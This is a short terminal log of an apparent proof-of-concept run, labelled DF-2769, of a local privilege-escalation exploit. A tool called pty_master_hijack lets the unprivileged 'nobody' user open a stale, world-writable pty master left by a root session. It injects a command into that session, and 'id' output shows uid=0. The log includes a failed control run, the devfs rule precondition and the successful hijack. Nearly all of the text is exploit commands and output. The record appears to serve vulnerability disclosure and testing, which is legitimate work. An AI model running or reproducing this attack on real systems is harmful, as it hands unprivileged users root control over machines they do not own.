# DF-2769 decisive run (stock INVARIANTS kernel #0)
# victim = ROOT-owned pty session; attacker = nobody
$ (/tmp/pty_master_hijack victim > /tmp/victim.out 2>/tmp/victim.err &); sleep 2
UNIT=/dev/pts/1
victim-parent: master closed, session left running (pid 1125)

# default-config control BEFORE applying the devfs rule:
$ su -m nobody -c "/tmp/pty_master_hijack attack /dev/pts/1 /tmp/df2769_cmd"
attack: open /dev/ptm/1 failed: No such file or directory
RESULT=FENCED                                  <-- DEVFS_HIDDEN fence on stock ruleset

# precondition applied (root; models jail/devfs.conf 'show' rulesets):
$ printf "show\tptm\nshow\tptm/*\n" > /tmp/df2769.rules
$ devfsctl -a -m /dev -f /tmp/df2769.rules && echo RULES_OK
RULES_OK
$ ls -la /dev/ptm/
total 0
drwxr-xr-x  1 root  wheel      0 Sep  1  00:12 .
drwxr-xr-x  1 root  wheel      0 Aug 31 23:39 ..
crw-------  1 root  wheel     32, 0x00000000 Sep  1 00:02 0
crw-rw-rw-  1 root  wheel     32, 0x00000001 Sep  1 00:12 1   <-- stale master, 0666 root:root

# the attack (nobody):
$ su -m nobody -c "/tmp/pty_master_hijack attack /dev/pts/1 /tmp/df2769_cmd"
attack: master fd opened for unit 1
attack: TS_ZOMBIE cleared via TIOCSETAW+CLOCAL
attack: injected: id > /tmp/df2769_root_pwn
attack read[0]: id > /tmp/df2769_root_pwn

attack read[1]: [victim rc=0]

RESULT=HIJACKED

# proof of unprivileged -> root command execution:
$ ls -la /tmp/df2769_root_pwn
-rw-r--r--  1 root  wheel  111 Sep  1 00:13 /tmp/df2769_root_pwn
$ cat /tmp/df2769_root_pwn
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
$ stat -f "%Su %Sp" /tmp/df2769_root_pwn
root -rw-r--r--